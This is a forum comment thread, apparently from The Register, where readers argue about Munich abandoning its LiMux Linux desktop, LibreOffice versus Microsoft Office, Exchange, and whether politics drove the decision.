      The downvotes must be from all the OSS zealots. Fact remains, despite all the hard work that has gone into LibreOffice, it remains a major step down in many respects that matter to the average office user. Instead of castigating those that don't like it, why not go improve it so its more competitive than MS Office?

      1. Anonymous Coward
        Anonymous Coward

        Most office users could do their daily jobs using wordpad

        1. Anonymous Coward
          Anonymous Coward

          Wordpad

          They would prefer it, too - but it means learning to click on a different icon.

        2. Dan 55 Silver badge

          Most office users could do their daily jobs using wordpad.

          They couldn't take screenshots of Putty, open Powerpoint, paste in there, save, zip, and send by Outlook instead if copying and pasting the text.

          Really difficult to suppress the urge to ask them if they're taking the fucking piss.

          1. Anonymous Coward
            Coffee/keyboard

            They couldn't take screenshots of Putty, open Powerpoint, paste in there, save, zip, and send by Outlook instead if copying and pasting the text.

            And there's people in this industry who think a powerful OS like Linux is appropriate for those types?

            No thanks. When Linux becomes the chosen OS for office workers, I'd have to stop using Linux because it will be no better than Windows.

            I'm a long time Linux user - and I'm glad this Munich project "failed". (ok it didn't, but for £political reasons)

            Keep the idiots on Windows, please. Microsoft created them, and they can deal with them.

            There's good reason LO is shite - it's a gatekeeper. The more technical people are, the less inclined they are to use a WYSIWYG document editor. Technical documents are structured.. not designed.

            Sorry if I sound elitist, blame Linux.

        3. Pompous Git Silver badge

          "Most office users could do their daily jobs using wordpad"
          Most programmers could write all their applications in QBasic, but they don't.

      2. Anonymous Coward
        Anonymous Coward

        I use LO - well, I have it installed. Yes, it's capable, but so is Office 2003.

        At work we use Google docs - everyone has the same "version" of it, and see the same document, regardless of OS.

        1. Anonymous Coward
          Anonymous Coward

          "At work we use Google docs - everyone has the same "version" of it, and see the same document, regardless of OS."

          Yes that's great until you need to say use a locked down document on a network without internet access. Or edit a complex document from a company that uses a proper version of Office and have it look the same afterwards. Or use any of the numerous power features in Excel that Sheets doesn't have. Or use any of the thousands of business products that integrate with or use MS Office addons or macros. Or want to use very large documents / sheets where Google Apps is utterly soporific in comparison to MS Office. Google hangouts is also a poor joke for enterprise versus Skype for business to (for instance max 25 users in a meeting versus 250).

          Not to mention that G-Suite enterprise is $25 a month versus Office E3 at $20 a month AND you get a full local MS Office install with that...

      3. Voland's right hand Silver badge

        Fact remains, despite all the hard work that has gone into LibreOffice, it remains a major step down

        Depends in what.

        You may have a point regarding Excel vs LibreOffice Calc especially for large and complex spreadsheets. Microsoft knows exactly what is keeping most businesses from migrating - it is the beancounter (especially the one with a joke MBA) and his precious planning spreadshet with the magic formulae which has had zero testing, zero documentation and is something any software engineer would be fired for. It has optimized excel over the years and this shows till this day when you try to run excel and calc side by side (especially with abominable input).

        You really need to have your brain examined if you are trying to make the same point about other functionality. For example, let's take the Microsoft formula editor vs its LibreOffice equivalent. LibreOffice has stolen a lot from (La)TeX in that area and is several light years ahead of MSFT which cannot even get a trivial equation with a sum and 2 indexes right.

        Same goes for structured and disciplined document writing support - both Word vs Writer and PowerPoint vs Impress. Microsoft till this day cannot get global document style information right - it breaks the moment it moves from one machine to another. That is also one of the reasons most people who use predominately Orifice never learn to use an editor the way it should be used in a business setting - "live by the template, die by the template"· They continuously format by hand using the fonts menu which breaks even further as a document moves between people.

        I can continue the second list ad naseum, but all in all - unless you have excel vs calc in mind, I beg to differ.

        1. elgarak1

          Frequently, one of the reasons why people do not use templates and styles (and are told to NOT use them) is because they need to deliver chunks of text that some other poor sod has to incorporate into a larger document ready to print by last Friday using shitty Word. Because, as you say, templates and style sheets break when you move the small chunks from one machine to the other where the poor sod builds the large one. It's reliably working without styles. It's a shitload more work, and it could be done easier, but this is Word. It won't work

          1. Anonymous Coward
            Anonymous Coward

            Author of the original post here. Looks like I ruffled some feathers.

            First of all, my credentials. Yes, I am a long-term Linux user. I currently run KDE Neon on my laptop, Arch and Slackware on various servers/Raspberry Pis etc., Redhat, CentOS, OEL, Suse at work, used to use Ubuntu until I found Neon, used Slackware almost exclusively before that. My laptop dual boots to Windows 7 (which I usually use in a KVM pointing to /dev/sda) and my home PC uses Windows, for games and for music software which isn't available on anything other than Windows or Macs.

            Yes, so most of LO is now written in C. However, the point is it's been developed and morphed from an original code base to the extent that it's not grown particularly nicely. I'll admit I don't know the ins and outs of the code base; I don't really care to be honest as I'm an end user when it comes to office products.

            Some more detail. First of all, I work in a business that sells IT products and services to other IT organisations. This means I need to use MS formats. It's shit, but it's a fact of life.

            Writer is on the whole a decent application. It's mostly good at reading and writing MS formats but not perfect. And if you are writing a professional document, there's no such thing as "it'll do". It's either perfect or it's not. As a standalone application, for most purposes it's decent.

            Calc again is OK for most spreadsheet work. I use it for my home accounts and dip between it and Excel with relative ease, as long as you don't do anything fancy. However, if you have a spreadsheet with a lot on it, like analysing days worth of performance stats, it quite simply can't handle it. In contrast, Excel, even running on the same hardware, can deal with a huge amount more data. Yes, it will eventually give up too, but for most things it's fine. Pivot tables are a hell of a lot easier on it too.

            Impress, again as an application, is fine, albeit not as well-featured as Powerpoint. Transferring between the two for anything other than the most basic slides is nigh on impossible though. I tend to export decks as PDF in Windows and present using Okular.

            I don't use the rest of the suite so can't comment.

            As a standalone product for doing office work, LO is perfectly adequate. But like it or not, we need to integrate with what everyone else uses, and for most people that's Windows. That's why we need SMB support and it's why we need a decent office program that can open, edit and save files given to us by others. LO can't do that. It's also not great at some of the things that Office is good at.

            Don't get me wrong, I utterly despise Office too, especially the recent versions which insist you're "signed in" and connected to the internet. Although not as bad as Windows itself which tells me I'm a crime victim when I power up my OS in a VM as opposed to the bare hardware. (I enjoyed the comment from the guy who accused me of being from MS - take a metaphorical punch in the face from me for that comment ;-D )

            Slightly off-topic, but what riles me more than any of this is the increasing number of "smart" screens in offices which don't have an HDMI/VGA cable and instead insist on you installing some Windows application just to share your screen. Who the fuck thought that getting people to install random applications, even if they _are_ Windows users, was a good idea?

        2. Pompous Git Silver badge

          "Same goes for structured and disciplined document writing support "
          Word's support for styles is excellent; one of its strongest points actually. Don't blame Word for its users not being properly trained in its use.

          1. Kiwi Silver badge
            Trollface

            Don't blame Word for its users not being properly trained in its use.

            Careful. Apple may come after you for "copyright theft"...

            "You're holding it wrong", (c) Steve Jobs (or whoever it was)...

          2. elgarak1

            No, it isn't. It is terribly implemented in terms of workflow and requires an extraordinary amount of discipline by the users, as it can be broken by using hard-coded formatting. For instance, there's no good separate style sheet editor, and no separation of style sheet editing from style sheet application.

            You may not be aware of it because there's no word processor of note that does it significantly better available for Windows or Linux that I am aware of (maybe WordPerfect, but I never used it).

            On the Mac, there are word processors whose style sheet support blows Word out of the water.

            1. Pompous Git Silver badge

              " there's no good separate style sheet editor, and no separation of style sheet editing from style sheet application.

              You may not be aware of it because there's no word processor of note that does it significantly better available for Windows or Linux that I am aware of (maybe WordPerfect, but I never used it)."

              Back when Winword and AmiPro were battling for supremacy in the wysiwyg word processor field, AmiPro stored its settings in a separate stylesheet and Winword embedded its stylesheet in the saved document. This meant that every time you revised an AmiPro stylesheet, you changed every previous document that was based on it. To avoid this, you needed to either have some system of document management that stored the document and the historical stylesheet where they could remain associated, or as usually happened, there was a great proliferation of stylesheets. Or so my fellow trainers who specialised in AmiPro told me at the time.

              More than 90% of demand for word processor training ca. 1995-1998 was for Word and the balance mostly Word Perfect when Word Perfect for Windows was finally released. And wasn't that a dog's breakfast?

          3. nijam

            > Don't blame Word for its users not being properly trained in its use.

            Wouldn't dream of it. I blame Word for being so badly designed/implemented that users cannot be properly trained in its use.

    7. Spudley

      LibreOffice is one of the biggest problems for those wanting to migrate to Linux. ... I suspect the issue is it's based on Java. This is understandable; it was started by Sun, and was designed to be cross-platform, but it's crippling the product.

      It wasn't started by Sun.

      Sun purchased an independent software company called StarDivision, who produced an office suite called StarOffice. This is what became OpenOffice and then LibreOffice.

    8. DainB Bronze badge

      It's <current year> and LibreOffice version 5.4.3.2 still not able to add page numbers without putting number to first page and screwing around with styles, something MS Word is doing just right for at least 20 years.

      That's really all you need to know about quality of LibreOffice.

      p.s. Yes, it works if your requirements are limited to few page document typed with 2 fingers and sent to printer. Anything more advanced and you'll be begging Microsoft to take your money.

      1. Anonymous Coward
        Anonymous Coward

        Libre Office formatting vs MS Office

        At my last job, I produced a 130 page document in Word (on Windows 7). Getting the section numbering was a total PITA. I suspect that this was that the doc had lots of small ones added to it over time.

        Ironically, putting it into Libre Office on the same machine sorted out the section numbering but introduced other issues with embedded JPG's.

        Neither of them are perfect but at the moment and for me, Libre Office wins mainly because of Office's insistence that I login to OneDrive (don't use it). The Numpties that run our IT dept have put a rule in place that stops me disabling OneDrive. When I'm travelling, I'd have to connect to the internet, fire up the corporate VPN, login and then connect to OneDrive just to refresh the list of recent documents.

        Bonkers, totally bonkers.

        1. Palpy

          Re: Libre Office and images

          Yes, I rather like the default way LO Write handles inline images, compared with MS Word. I also find the menus more sensible and ergonomic than the MS ribbon.

          "Neither of them are perfect"... Absolutely agree. I curse MS Excel regularly over certain aspects of trending, but I curse LO Calc over other things. (It would seem I curse a lot. That's true.)

          But frankly, IMHO Windows is a polished, powerful OS with a huge ecosystem of applications available. Linux is a hugely successful, powerful OS as well, but certain application ecosystems are a little underdeveloped (see Corel VideoStudio for Windows, Apple Final Cut Pro for Mac, and compare them to KDEnlive, for instance).

          When I write that Linux is "hugely successful" I mean on servers, and through its offspring on Android mobes and embedded systems. Desktop share remains around 2%, I believe.

          And I also agree about MS insistence on OneDrive, but what does one expect from a corporation with a business model which has always been based on lock-in?

        2. Donkey Molestor X

          Re: Libre Office formatting vs MS Office

          > The Numpties that run our IT dept have put a rule in place that stops me disabling OneDrive. When I'm travelling, I'd have to connect to the internet, fire up the corporate VPN, login and then connect to OneDrive just to refresh the list of recent documents.

          There's one piece of information that you could tell us that would determine whether this is a good idea or a bad idea. Does your work laptop support AND have full drive encryption? If you're not using full drive encryption and you forget your laptop in an airport bathroom or it "disappears" from your luggage then locally stored work documents become a HUGE problem for your employer compared to your personal annoyance of learning OneDrive.

        3. Anonymous Coward
          Anonymous Coward

          Re: Libre Office formatting vs MS Office

          "Bonkers, totally bonkers."

          It's commonly called DLP or data leakage protection and is standard in most corporates these days. Especially with GDPR coming.

        4. Anonymous Coward
          Anonymous Coward

          Re: Libre Office formatting vs MS Office

          Then they have screwed up big time on the installation because that is NOT needed at all. You occasionally have to be connected to do a token refresh but otherwise can be offline. The requirement only exists if you have the Office 365 version of Office anyway.

          We have it installed on lots of machines with people - including myself - who travel all the time. We have no problems at all.

      2. Mage Silver badge

        still not able to add page numbers without putting number to first page

        It does easily.

        Also you can create sections that restart page numbers, or continue them and optionally have no first page number, optionally no header optionally no footer, on first page of section or all pages.

        It also does a binding offset more sensibly in a page style.

        Perhaps you use direct formatting instead of styles?

        What's more I can export as Office97-XP format (works all later MS-Office) or the later Office format from LibreOffice and users of MS Office get it fine (do remember to include fonts, which you need to do with most MS Office versions!).

        PDF export and HTML export works far better in LibreOffice than MSOffice. Have you seen the bloated insane HTML MSOffice generates?

        I've produced hundreds of 100+ plus documents in LibreOffice.

        I used Wordstar, Wordperfect, DOS MSWord, Supercalc, Lotus123, Visicalc etc before using Windows MSOffice for nearly 20 years. I used to teach computer applications. So perhaps I spent half an hour figuring out the differences between MS Office and LibreOffice. Now only takes a few minutes to setup a new install properly, you have to spend as long or longer properly configuring MS Office applications at first install.

        I don't install the LibreOffice "fast starter" and it's still far faster than MS Office.

        1. Pompous Git Silver badge

          Re: still not able to add page numbers without putting number to first page

          "Have you seen the bloated insane HTML MSOffice generates?"
          I have indeed! A certain Professor Stinkjet sent me an HTML document he claimed was generated by Outlook. It was a simple 3 line email, but the HTML was ~40 pages long! The header revealed that it had been created by Word.

          1. Richard 12 Silver badge

            Re: still not able to add page numbers without putting number to first page

            Outlook uses Word as the default "text" editor under the hood.

            Annoyingly it doesn't share config so I end up having to disable smart quotes and set the spelling language repeatedly.

            1. Pompous Git Silver badge

              Re: still not able to add page numbers without putting number to first page

              "Outlook uses Word as the default "text" editor under the hood."
              Back when Tom Syroid and Bo Leuf were writing Outlook 2000 in a Nutshell, the advice was always make damn sure you don't use Word as your email editor.

              I'm using FastMail these days and it serves my needs well. Much to my amusement, the lad I used to hire to babysit the Gitling is now one of their top employees. He taught the Gitling QBasic back when he was all of 8 years old :-)

        2. Anonymous Coward
          Anonymous Coward

          Re: still not able to add page numbers without putting number to first page

          ""Have you seen the bloated insane HTML MSOffice generates?""

          No, but why would I need to? Office in general only generates HTML when it's needed. And I can't see a need to ever see any native HTML.

          Current Office file formats are in general XML based and highly compressed. Not the most efficient way of storing data, but it is practical for cross platform and cross software portability and backwards compatibility.

          With the exception of Excel that has the "XLB" binary format as an option that significantly reduces file sizes and load / save times... See blog.datasafexl.com/excel-articles/advantages-of-xlsb-excel-binary-format/

      3. hplasm Silver badge
        Gimp

        "...you'll be begging Microsoft to take your money."

        This never happens.

      4. strum Silver badge

        >something MS Word is doing just right for at least 20 years.

        Is it bollocks. Page numbers is just one of many things I have to check, page-by-page, in all the docs I want to publish.

    9. Mage Silver badge
      Facepalm

      single Office application for Linux

      LibreOffice.

      1) Change default settings!

      2) Disable Java. It doesn't need it.

      3) Change Toolbars etc

      The evil ribbon is available, I heard, but not by default.

      I used MS Word since 2.0a, then Office since Office 4.3, then Office 95, Office XP and Office 2003. I tried a later Office and went back to 2003. Switched to LibreOffice in Jan 2016 completely on Windows, though I had used Star Office, Open Office and LibreOffice before that.

      In December 2016 I switched main laptop to Linux Mint with Mate instead of Win7. I still have a Win10 tablet/Notebook (32bit) and a win10 desktop (64bit). Both just get occasional check and update. I tried Classic Shell and its Explorer patches. Win10 still a crap pile of excrement. At least Vista could have Aero turned of and settings changed to make it nearly sane till it was replaced by Win7.

      1. PNGuinn
        Trollface

        Win10 still a crap pile of excrement @Madge

        I'd say it's a a excrement pile of crap, but there you go.

        Perhaps we're both right.

    10. Anonymous Coward
      Anonymous Coward

      "which is in charge of LibreOffice, attributed the decision to politics."

      Which would be interesting if everything, in LibreOffice, from its very name, wasn't about politics. They are one of the open source entities with a very strong political stance. Instead of how they can change the world and make it "better", people at LibreOffice should start to think about how to write better software (and change their Cuba inspired name... which tells a lot...)

    11. TVU

      "We really need a decent, single Office application for Linux, which has a small footprint, is fully-featured and is easy to use. If it's better than Office then people will be tempted. Right now, it's not."

      There are already plenty of viable alternatives to LibreOffice for Linux out there including, but not limited to, Softmaker Office, WPS Office, FreeOfice, OnlyOffice, Zoho Office and so on.

    12. Anonymous Coward
      Anonymous Coward

      LibreOffice isn't your only option. Take a look at SoftMaker Office if you are interested in an office suite for Linux. It's commercial, though, not open source.

    13. Kobus Botes
      Linux

      "LibreOffice is one of the biggest problems..."

      I suspect the biggest obstacle faced by Libre Office (and Open Office and others) is the insistence by users and those in charge that LO/OOo must be 100% compatible with MS Office. This is of course impossible.

      I have always wondered whether it would not perhaps be more beneficial to LO/OOo to develop a better suite, (that has a proper interface that allows users to be productive and not fight the application and with advanced functionality that MSO does not have), with an MS extention on that would convert documents to the crippled MS format as best as is possible.

      Probably a pipe dream, but I would appreciate if if a dev involved in an OSS suite could perhaps shed some more light.

    14. bombastic bob Silver badge
      Thumb Down

      "MS have done a good job of reducing the appeal of their Office, but it is so much faster, smoother and easier to use than the Libre equivalent."

      "I suspect the issue is it's based on Java"

      This has not been my experience. Not even close.

      As for "based in java" when did THAT happen? I recall building Open Office from source (for FreeBSD) with a LOT of C++ source files... but that was a while ago. It took a full day on the old hardware (single-threaded build). I don't happen to have a copy of the source at the moment, but I don't think there's much Java in there. Ok probably some. But not a lot.

      So I'm studying the 'Makefile' for the port on FreeBSD, "editors/libreoffice", and there are apparently no "always on" dependencies in which I can find for a JRE or JDK, either in the latest FBSD ports. There's an option for "Java Support" (labeled 'JAVA') and from what I can tell, a list of dependencies on java and apache-ant and the usual suspects for WHEN IT IS ENABLED (but not 'always on'). But most of it appears to use a combination of Qt4 and GTK and that "usual suspect" list of dependencies to build and run. So most definitely C++ (at least for the GUI side). Perl is also involved, interestingly enough.

      So the claim that "the issue is it's based on Java" appears to be FALSE. Anyone else out there have any indication that it's actually dependent on Java? Because I'm not seeing it...

      icon, as there appears to be no "I call B.S." equivalent.

      [yeah if you're gonna post B.S. post as A.C. right?]

      1. Anonymous Coward
        Anonymous Coward

        >[yeah if you're gonna post B.S. post as A.C. right?]

        And I suppose you have "bombastic bob" on your birth certificate, right?

        https://en.wikipedia.org/wiki/OpenOffice.org#Use_of_Java

        I'll admit I started using OOO a long time ago, and did used to get pissed off that you needed a JRE installed. Fair enough, it doesn't use it now, but in my defence, I never said it did. I said it was based on Java, and a lot of it was.

    15. nijam

      > I've used Linux on my work laptop/PC/whatever for the best part of two decades now, yet LibreOffice, like OpenOffice before it, is still shite.

      I've used Linux (and BSD Unix before it, and AT&T Unix before that, and Bell Labs Unix before) for rather more than two decades now, and Open Office was already superior to MS Office when it first arrived; Libre Office is in turn substantially better. (We routinely had to use OpenOffice to repair Word documents that couldn't be read by Word, for example.)

      > I suspect the issue is it's based on Java.

      No, not all that much now.

      > it was started by Sun

      no, not right either.

  5. Alan Bourke

    Politics is nothing to do with it.

    The facts are as stated - the software they need mostly doesn't exist on Linux and LibreOffice is a poor relation for any sort of serious corporate use. It's blindingly obvious. It's why every company I walk into uses Windows. They're not 'all about the pork', they're about running the software they need to do business with the minimum of bullshit.

    "By then the MS lock in will be total" - when you're a city council it doesn't matter if you're locked in. Had they got the Linux project to work, they'd be locked into that. It's not like they'd be able to change distros or something at the drop of a hat.

    1. Zolko

      Re: Politics is nothing to do with it.

      Alan Bourke : the software they need mostly doesn't exist on Linux and LibreOffice

      here lies the point: they wanted to migrate everything at once: change OS and software. Had they first switched office suite, from MS-Office to LibreOffice, but sill on windows, and then switched OS once they had become OS-agnostic, it would have been much easier.

      1. Anonymous Coward
        Anonymous Coward

        "then switched OS once they had become OS-agnostic, it would have been much easier."

        The issue is you can't become "OS-agnostic" as long as you need to use software that needs specific platforms to be run. While it may be relatively easily if you're a single user with simple needs, it can become very difficult when you have thousands of users with different needs, and you have to exchange documents with many different users, especially those outside your organization. It's clear they had many users who are using Windows tools they can't replace - because there's no real professional replacement under Linux.

      2. Anonymous Coward
        Anonymous Coward

        Re: Politics is nothing to do with it.

        "here lies the point: they wanted to migrate everything at once"

        No they didn't. It took them TEN YEARS! to even declare the migration finished....

    2. thames

      Re: Politics is nothing to do with it.

      Politics had everything to do with it. The mayor of Munich declared himself to be Microsoft fan. His big political achievement was his part in getting Microsoft to move their German headquarters to Munich. He then commissioned a Microsoft partner to come with justifications for binning LiMux (the Munich Linux project) and using Microsoft products.

      So, it turns out that a new mayor comes in, wants to associate his name with a high profile employer he claims to have brought to the city, and so looks for reasons to bin a municipal project which he feels takes some of the shine off his political legacy and is a thorn in the side of Microsoft. That sounds like politics to me.

      1. Anonymous Coward
        Anonymous Coward

        Re: Politics is nothing to do with it.

        "Politics had everything to do with it. The mayor of Munich declared himself to be Microsoft fan. "

        No, the Mayor made it plain he was sympathetic to the users who were fed up with having to use a zoo of crap. And it was costing Munich money to run a Zoo as they still needed to run lots of Microsoft stuff anyway and of course the problems and support costs of an OSS based desktop trying to run a full business application suite are of course much higher than under Windows.

        "So, it turns out that a new mayor comes in, wants to associate his name with a high profile employer he claims to have brought to the city"

        Quite possibly, but Microsoft already moved regardless of the desktop. So to suggest he wants to bin Linux to get his name in lights is quite ridiculous. No one (except maybe many grateful council employees) will even remember by next year.

        1. Kiwi Silver badge
          Mushroom

          Re: Politics is nothing to do with it.

          and of course the problems and support costs of an OSS based desktop trying to run a full business application suite are of course much higher than under Windows.

          Bugger! That's the second bullshit detector burned out this week! And now my landlord's gonna be pissed because that one burned so hot it melted through the floor!

          1. Anonymous Coward
            Anonymous Coward

            Re: Politics is nothing to do with it.

            "Bugger! That's the second bullshit detector burned out this week!"

            Keep reading. There is a link later to where Munich's IT department themselves confessed to spending €82 million on trying to fix their stack to work with Linux!

            1. Kiwi Silver badge

              Re: Politics is nothing to do with it.

              "Bugger! That's the second bullshit detector burned out this week!"

              Keep reading.

              No thanks. Gets to expensive replacing BS Detectors when the MS AC shills show up (quite late in some threads I notice, almost as if they're waiting till everyone else has moved on so they can have the "last say").

    3. Smooth Newt
      WTF?

      Re: Politics is nothing to do with it.

      "By then the MS lock in will be total" - when you're a city council it doesn't matter if you're locked in. Had they got the Linux project to work, they'd be locked into that. It's not like they'd be able to change distros or something at the drop of a hat.

      They have been using it for well over a decade. If it had "not worked" then they would have given up after a few days. It fact, rather than complaining that Linux "didn't work", a 2012 report commissioned by the city boasted that adopting it had saved them 11.6 million Euros over the preceding years.

      https://www.theregister.co.uk/2012/03/29/munich_linux_savings/

    4. Ken Hagan Gold badge

      Re: Politics is nothing to do with it.

      "The facts are as stated - the software they need mostly doesn't exist on Linux"

      Whilst I would agree with your point that it isn't *their* job to evangelise Linux but rather to get their work done, I would draw your attention to this bit in the article:

      "mail servers, for instance, eventually wound up migrating to Microsoft Exchange"

      Really? Bluntly, if you can't even get an email server running, either nobody is trying or there are people in your organisation working behind the scenes to sabotage the whole endeavour. It seems unlikely that no-one in an organisation that large had the skills necessary to get a server up and running, so the only reasonable conclusion is a fifth column.

      1. Anonymous Coward
        Anonymous Coward

        "so the only reasonable conclusion is a fifth column."

        Or, simply, besides mail they needed Exchange features no product under Linux delivers? But keep on dreaming about the "great Microsoft conspiracy ".

        Instead of looking for nonexistent foes, Linux developers should start to deliver better, useful and professional software - even if it means to be paid for it...

      2. Anonymous Coward
        Anonymous Coward

        Re: Politics is nothing to do with it.

        "Really? Bluntly, if you can't even get an email server running"

        Exchange is more about calendaring and integration than email. Good luck getting a comparable and fault tolerant solution with freeware....

        1. nijam

          Re: Politics is nothing to do with it.

          > Exchange is more about calendaring and integration

          Two comments about that:

          1. Exchange calendaring is dire, apparently unable to cope even with switching to or from summertime.

          2. You wrote integration, but I take it what is meant is lock-in?

          1. Anonymous Coward
            Anonymous Coward

            Re: Politics is nothing to do with it.

            "1. Exchange calendaring is dire, apparently unable to cope even with switching to or from summertime."

            I have yet to see anything better - and Exchange Calendaring handles that perfectly. The appointment is always in the meeting creator's time zone - and will be automatically adjusted to appear correctly in calendars in any other time zone.

            "2. You wrote integration, but I take it what is meant is lock-in?"

            No I mean integration - so there are countless products that integrate seamlessly with Exchange and Outlook - just as a common example for instance - SalesForce. And the integration between Windows, AD, Office, Exchange, Skype for Business, and many other third party products etc. etc is just without match.

            1. Kiwi Silver badge

              Re: Politics is nothing to do with it.

              "1. Exchange calendaring is dire, apparently unable to cope even with switching to or from summertime."

              I have yet to see anything better

              Go and find a 2yo to give some crayons to. A minute later you'll have something much better than exchange.

              The appointment is always in the meeting creator's time zone - and will be automatically adjusted to appear correctly in calendars in any other time zone.

              So does everything else I've every played with. Probably because at a guess the appointments are saved in GMT or somesuch and the clients adjust to the time zone they're set to. Like with everything else in decent OS's (not so much on windows though, I've known lots of people to have issues with lack of decent time zone support there...)

              1. Pompous Git Silver badge

                Re: Politics is nothing to do with it.

                "1. Exchange calendaring is dire, apparently unable to cope even with switching to or from summertime."

                I have yet to see anything better

                Go and find a 2yo to give some crayons to. A minute later you'll have something much better than exchange."

                Obviously you are on drugs...

              2. Anonymous Coward
                Anonymous Coward

                Re: Politics is nothing to do with it.

                "Go and find a 2yo to give some crayons to. A minute later you'll have something much better than exchange."

                Hilarious. So in other words you can't name a better product.

                "So does everything else I've every played with"

                So it's doing exactly what it's meant to do. So either you don't understand how it works or you just invalidated your own point.

                1. Pompous Git Silver badge

                  Re: Politics is nothing to do with it.

                  "Hilarious. So in other words you can't name a better product."
                  More to the point, nobody seems able to. Centrelink moving from Domino/Notes to Exchange, Quantas moving from Domino/Notes to Exchange... Asking around, can't find anyone moving the opposite way. Maybe Naseby Town Council is ;-)

    5. Anonymous Coward
      Anonymous Coward

      Re: Politics is nothing to do with it.

      Politics has everything to do with it.

      The French Gendarmerie switched to Linux in 2008 and haven't looked back since. There are several other French government department also using Linux.

      If government departments can do it successfully a local city council should be able to do it as well IF they keep politics out of it.

      1. TVU

        Re: Politics is nothing to do with it.

        "The French Gendarmerie switched to Linux in 2008 and haven't looked back since. There are several other French government department also using Linux."

        They did it correctly - using a mainstream Linux distribution (Ubuntu in this case) and fully rolling the new OS out department-wide rather than trying to develop their own version of Linux and having only a partial roll out - d'oh!

      2. Anonymous Coward
        Anonymous Coward

        Re: Politics is nothing to do with it.

        "The French Gendarmerie switched to Linux in 2008 and haven't looked back since."

        Because all they used it for was a web browsing kiosk. Good luck getting that model working in a real business that needs actual applications and a version of Office that actually works....

    6. Warm Braw Silver badge

      Re: Politics is nothing to do with it.

      The facts are as stated

      Statements have been made, but their correlation with facts has not been demonstrated.

      Even Accenture, who were brought in to review the situation - perhaps in the hope they might come up with a damning condemnation of the LiMux approach - said that most of the issues were due to management, deployment and update policies, not to the choice of software. They recommended keeping the current mix of systems - presently around 4,000 Windows systems and 20,000 running LiMux.

      Other reports suggest that many of the early compatibility problems were resolved by a switch from OpenOffice to LibreOffice.

      Given that representatives of different political parties in Munich have opposing views on the way forward, I'd say that politics has everything to do with it. That doesn't mean I know which side is actually right, but in the absence of agreement on them, I can claim that the statements being made cannot be taken as facts.

    7. bombastic bob Silver badge
      Facepalm

      Re: Politics is nothing to do with it.

      "It's not like they'd be able to change distros or something at the drop of a hat."

      @Alan Bourke

      Uh, you've never actually USED Linux now have you?

      I change distros all of the time. It depends on what I want to do, or if I'm just evaluating the latest CentOS or using Ubuntu because the customer wants me to. Funny how nearly all of the software I want is available in ANY of them. [it then becomes a matter of what package manager to use. I tend to prefer 'apt' for Linux, but when I use FreeBSD I use the ports system and built-in 'pkg']

      In fact I've got several different distros installed in VMs and on actual computers at the moment. Everything I do seems to work exactly the same on all of them (with notable exceptions like dealing with systemd or not), and though I might occasionally have to go directly to a web site to get the latest version of something (we'll say 'Arduino' since that's one of them that even Ubuntu is years behind on, last I checked) everything else pretty much works the same, whether you're on windows, or on Linux, or on FreeBSD - except the general build environment, which pretty much SUCKS on windows these days (without Cygwin, heh). I suspect Mac is similar being as its userland is based on FreeBSD 5.x .

      So yeah next time you make claims like "Linux and LibreOffice is a poor relation for any sort of serious corporate use. It's blindingly obvious" keep in mind that "El Reg" is frequented by people who know that such claims are completely UN! TRUE!!!

      At least, outside of the accounting department... [where I.T. knowledge is typically at a low point]

      This link appeared on the first page of an online search:

      https://www.techrepublic.com/blog/10-things/top-10-linux-financial-tools/

      (and that was from back in 2008, and I suspect the list is longer now)

      icon, because, facepalm

    8. MrRtd

      Re: Politics is nothing to do with it.

      Only someone that hasn't paid attention to what's going on here would say it has nothing to do with politics.

  6. Dan 55 Silver badge
    Devil

    Politics has everything to do with it

    Linux on the desktop has never been in better shape and LiMux was declared a success (before the elections), so it seems extremely strange to row back now.

    Strange unless you realise the new mayor, MS, and Accenture have been in a "you scratch my back, I'll scratch yours" relationship for a good few years now. link

    When the users have to face working with Windows 10, the Start Screen, and UWP, they'll be begging to go back to Linux.

    1. JimC Silver badge

      Re: declared a success before the election

      Oh how naive we are. Of course it was declared a success by the people responsible for introducing it. Every major project is. The reason you'll often see a strategy change with a changing of the guard is that when no-one who came up with the idea is still there then the ballsups can happily be ditched. If you propose that while the proponents are still there you just label yourself as not having a can-do attitude. Of course that presupposes the alternative will be any better.

      But, having worked in local government IT, much as I loathe Microsoft and their deeds, I really don't know how one could avoid them. The hundreds - and there are hundreds - of specialist applications just don't exist on other platforms. The result is that you are condemning your users to half ass lashups and second rate apps. And the IT is supposed to be there to help the users deliver services to the public.

    2. bombastic bob Silver badge
      Thumb Up

      Re: Politics has everything to do with it

      "the new mayor, MS, and Accenture have been in a "you scratch my back, I'll scratch yours" relationship for a good few years now"

      THAT would be my first suspicion with "anything gummint". It's ALWAYS about the politics!

      Good job, and thanks for saying it!

      (and upvote number 42 was from ME)

    3. Anonymous Coward
      Anonymous Coward

      Re: Politics has everything to do with it

      "and LiMux was declared a success"

      By the IT department whose jobs depended on it. 3rd party analysis showed that it cost AT LEAST €30 million more to go to Limux than staying with Microsoft and the users hated it.

      1. nijam

        Re: Politics has everything to do with it

        > ...3rd party analysis showed that it cost ...

        That 3rd party being a Microsoft distributor, ISTR.

        1. Anonymous Coward
          Anonymous Coward

          Re: Politics has everything to do with it

          "That 3rd party being a Microsoft distributor, ISTR."

          I believe HP also came to a similar conclusion in an entirely separate analysis!

  7. Marketing Hack Silver badge
    Windows

    And I thought 1938 Munich reeked of appeasement!!

    I guess standing up to the evil forces of fanatical world (desktop) domination is a lesson that needs to be relearned every 80 years or so...

    1. MyffyW Silver badge

      Thirty Eight

      "I have in my hand a piece of paper"... well there was really no need to print it, hun. A PDF would have been as much use.

      1. Marketing Hack Silver badge

        Re: Thirty Eight

        A PDF? Surely you mean MS Word format!

        1. Dan 55 Silver badge

          Re: Thirty Eight

          Too well known. Go for Microsoft's XPS format for proper lock-in.

      2. Paul Kinsler

        Re: I have in my hand a piece of paper / A PDF would have been as much use.

        "I have on my mobile, a snapchat image of an agreement to..."

      3. Captain Badmouth
        Happy

        Re: Thirty Eight

        "well there was really no need to print it, hun."

        Oooh! I see what you did there...

  8. Anonymous Coward
    Anonymous Coward

    Why not web?

    I haven't seen details, but it sounds like a lot of effort has been made to port apps to the Linux environment, whereas I would assume that porting to the web instead would be much better value for money. Eventually the desktop becomes irrelevant. Hell, they could even sell the platform to other councils then (CaaS - Council As A Service :)

    Too many evangelists involved on both sides?

    1. TVU

      Re: Why not web?

      "Too many evangelists involved on both sides?"

      I'd say more not enough competent IT managers and no properly centralised IT operation hence all the difficulties and stuff ups (irrespective of which operating system is used).

    2. Anonymous Coward
      Anonymous Coward

      "Eventually the desktop becomes irrelevant."

      ROFTL! Keep on believing to your salespeople....

    3. Baldrickk Silver badge

      Re: Why not web?

      related: http://www.xkcd.com/934/

